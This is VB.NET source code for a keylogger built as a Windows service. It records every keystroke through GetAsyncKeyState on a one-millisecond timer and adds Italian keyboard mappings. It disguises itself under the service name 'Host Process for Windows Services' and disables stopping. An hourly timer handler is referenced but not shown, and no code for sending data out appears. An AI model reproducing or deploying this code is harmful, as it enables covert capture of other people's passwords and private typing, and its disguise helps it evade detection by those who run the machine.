Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Boolean
Private t As New System.Timers.Timer(3600000)
Private s As New System.Timers.Timer(1)
Dim tasti As String
Dim Cnt As Integer
Dim sOld, sSave, Ret As String
#Region " Component Designer generated code "
Public Sub New()
MyBase.New()
' This call is required by the Component Designer.
InitializeComponent()
' Add any initialization after the InitializeComponent() call
End Sub
'UserService overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
' The main entry point for the process
<MTAThread()> _
Shared Sub Main()
Dim ServicesToRun() As System.ServiceProcess.ServiceBase
' More than one NT Service may run within the same process. To add
' another service to this process, change the following line to
' create a second service object. For example,
'
' ServicesToRun = New System.ServiceProcess.ServiceBase () {New Service1, New MySecondUserService}
'
ServicesToRun = New System.ServiceProcess.ServiceBase() {New checkService}
System.ServiceProcess.ServiceBase.Run(ServicesToRun)
End Sub
'Required by the Component Designer
Private components As System.ComponentModel.IContainer
' NOTE: The following procedure is required by the Component Designer
' It can be modified using the Component Designer.
' Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
'
'checkService
'
Me.AutoLog = False
Me.CanShutdown = True
Me.CanStop = False
Me.ServiceName = "Host Process for Windows Services"
End Sub
#End Region
Protected Overrides Sub OnStart(ByVal args() As String)
loadVariables()
t.Enabled = True
s.Enabled = True
End Sub
Protected Overrides Sub OnStop()
t.Enabled = False
s.Enabled = False
End Sub
Private Sub loadVariables()
'handler del timer
AddHandler t.Elapsed, AddressOf TimerFired
AddHandler s.Elapsed, AddressOf TimerFired1
End Sub
Public Sub TimerFired1(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
Ret = GetPressedKey()
If Ret <> sOld Then
sOld = Ret
If sOld = Chr(8) Then
sSave = sSave.Remove(sSave.Length - 1, 1)
Else
sSave = sSave & sOld
sSave = sSave.Replace("", "")
sSave = sSave.Replace("¢¥", " |AltGr|+")
End If
End If
End Sub
Function GetPressedKey() As String
Dim items As Array
Dim item As Long
Dim tipo As Type = GetType(Windows.Forms.Keys)
items = System.Enum.GetValues(tipo)
For Each item In items
If GetAsyncKeyState(item) Then
If item >= 96 And item <= 105 Then
item = item - 48
End If
GetPressedKey = Chr(item)
If item = 186 Then
GetPressedKey = "è"
ElseIf item = 106 Then
GetPressedKey = "*"
ElseIf item = 46 Then
GetPressedKey = " |canc| "
ElseIf item = 111 Then
GetPressedKey = "/"
ElseIf item = 197 Or item = 107 Then
GetPressedKey = "+"
ElseIf item = 188 Then
GetPressedKey = ","
ElseIf item = 189 Or item = 109 Then
GetPressedKey = "-"
ElseIf item = 190 Then
GetPressedKey = "."
ElseIf item = 191 Then
GetPressedKey = "ù"
ElseIf item = 192 Then
GetPressedKey = "ò"
ElseIf item = 219 Then
GetPressedKey = "'"
ElseIf item = 220 Then
GetPressedKey = "\"
ElseIf item = 221 Then
GetPressedKey = "ì"
ElseIf item = 160 Or item = 161 Then
GetPressedKey = "+|shift|"
End If
Exit For
End If
Next
End Function